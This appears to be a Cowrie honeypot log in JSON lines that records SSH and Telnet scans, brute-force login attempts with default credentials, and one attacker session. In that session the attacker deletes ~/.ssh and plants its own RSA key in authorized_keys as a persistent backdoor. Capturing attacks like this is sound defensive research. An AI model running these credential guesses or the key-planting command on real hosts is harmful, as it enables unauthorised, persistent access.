{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:29:12.487206Z","src_ip":"193.228.128.84","session":"d513e18fc794","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:29:12.591692Z","src_ip":"193.228.128.84","session":"d513e18fc794","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"hacker","message":"login attempt [root/hacker] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:29:12.904834Z","src_ip":"193.228.128.84","session":"d513e18fc794","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:29:14.011817Z","src_ip":"193.228.128.84","session":"d513e18fc794","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.168","src_port":37924,"dst_ip":"10.17.0.5","dst_port":22,"session":"feaf4550499b","protocol":"ssh","message":"New connection: 80.94.92.168:37924 (10.17.0.5:22) [session: feaf4550499b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:29:17.717466Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:29:17.891092Z","src_ip":"80.94.92.168","session":"feaf4550499b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:29:17.895576Z","src_ip":"80.94.92.168","session":"feaf4550499b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45758,"dst_ip":"10.17.0.5","dst_port":23,"session":"a318024987bc","protocol":"telnet","message":"New connection: 152.42.224.71:45758 (10.17.0.5:23) [session: a318024987bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:29:19.265330Z"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana","message":"login attempt [solana/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:29:19.285135Z","src_ip":"80.94.92.168","session":"feaf4550499b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:29:20.496835Z","src_ip":"80.94.92.168","session":"feaf4550499b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":58578,"dst_ip":"10.17.0.5","dst_port":22,"session":"35ec47986ebd","protocol":"ssh","message":"New connection: 87.251.64.176:58578 (10.17.0.5:22) [session: 35ec47986ebd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:29:23.495388Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:29:23.500773Z","src_ip":"87.251.64.176","session":"35ec47986ebd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:29:23.597941Z","src_ip":"87.251.64.176","session":"35ec47986ebd","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:29:23.889657Z","src_ip":"87.251.64.176","session":"35ec47986ebd","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:29:23.989147Z","session":"35ec47986ebd","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:29:24.087013Z","src_ip":"87.251.64.176","session":"35ec47986ebd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:29:24.322201Z","src_ip":"87.251.64.176","session":"35ec47986ebd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":46478,"dst_ip":"10.17.0.5","dst_port":22,"session":"bbb72c4aff52","protocol":"ssh","message":"New connection: 80.94.92.184:46478 (10.17.0.5:22) [session: bbb72c4aff52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:29:27.350952Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:29:27.427217Z","src_ip":"80.94.92.184","session":"bbb72c4aff52","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:29:27.511396Z","src_ip":"80.94.92.184","session":"bbb72c4aff52","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"12345678","message":"login attempt [solana/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:29:28.203904Z","src_ip":"80.94.92.184","session":"bbb72c4aff52","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:29:29.333406Z","src_ip":"80.94.92.184","session":"bbb72c4aff52","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.95.54","src_port":37676,"dst_ip":"159.203.135.109","dst_port":22,"session":"842f126847c7","protocol":"ssh","message":"New connection: 43.163.95.54:37676 (159.203.135.109:22) [session: 842f126847c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:29:33.074798Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:29:33.078644Z","src_ip":"43.163.95.54","session":"842f126847c7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:29:33.323878Z","src_ip":"43.163.95.54","session":"842f126847c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"es","password":"abc123","message":"login attempt [es/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:29:34.337210Z","src_ip":"43.163.95.54","session":"842f126847c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:29:35.589081Z","src_ip":"43.163.95.54","session":"842f126847c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.74148631095886,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:29:44.665181Z","src_ip":"152.42.224.71","session":"757df7bc6f1a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":29.266640186309814,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:29:48.531833Z","src_ip":"152.42.224.71","session":"a318024987bc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"124.156.196.131","src_port":60208,"dst_ip":"159.203.135.109","dst_port":22,"session":"677b21b9bf77","protocol":"ssh","message":"New connection: 124.156.196.131:60208 (159.203.135.109:22) [session: 677b21b9bf77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:29:55.158259Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:29:55.162784Z","src_ip":"124.156.196.131","session":"677b21b9bf77","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:29:55.400822Z","src_ip":"124.156.196.131","session":"677b21b9bf77","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":54947,"dst_ip":"159.203.135.109","dst_port":22,"session":"c2eddd8772d6","protocol":"ssh","message":"New connection: 152.42.212.128:54947 (159.203.135.109:22) [session: c2eddd8772d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:29:55.435519Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:29:55.440564Z","src_ip":"152.42.212.128","session":"c2eddd8772d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:29:55.444216Z","src_ip":"152.42.212.128","session":"c2eddd8772d6","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"M3gaP33!","message":"login attempt [steam/M3gaP33!] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:29:56.386028Z","src_ip":"124.156.196.131","session":"677b21b9bf77","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:29:56.914419Z","src_ip":"124.156.196.131","session":"677b21b9bf77","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:29:56.917656Z","src_ip":"124.156.196.131","session":"677b21b9bf77","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:29:56.921252Z","src_ip":"124.156.196.131","session":"677b21b9bf77","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:29:57.396078Z","src_ip":"124.156.196.131","session":"677b21b9bf77","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:29:57.690976Z","src_ip":"124.156.196.131","session":"677b21b9bf77","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:29:57.694283Z","src_ip":"124.156.196.131","session":"677b21b9bf77","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/steam/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:29:57.936229Z","src_ip":"124.156.196.131","session":"677b21b9bf77","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:29:57.939862Z","src_ip":"124.156.196.131","session":"677b21b9bf77","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.156.196.131","src_port":46260,"dst_ip":"159.203.135.109","dst_port":22,"session":"20f79b81a646","protocol":"ssh","message":"New connection: 124.156.196.131:46260 (159.203.135.109:22) [session: 20f79b81a646]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:29:58.170819Z"}
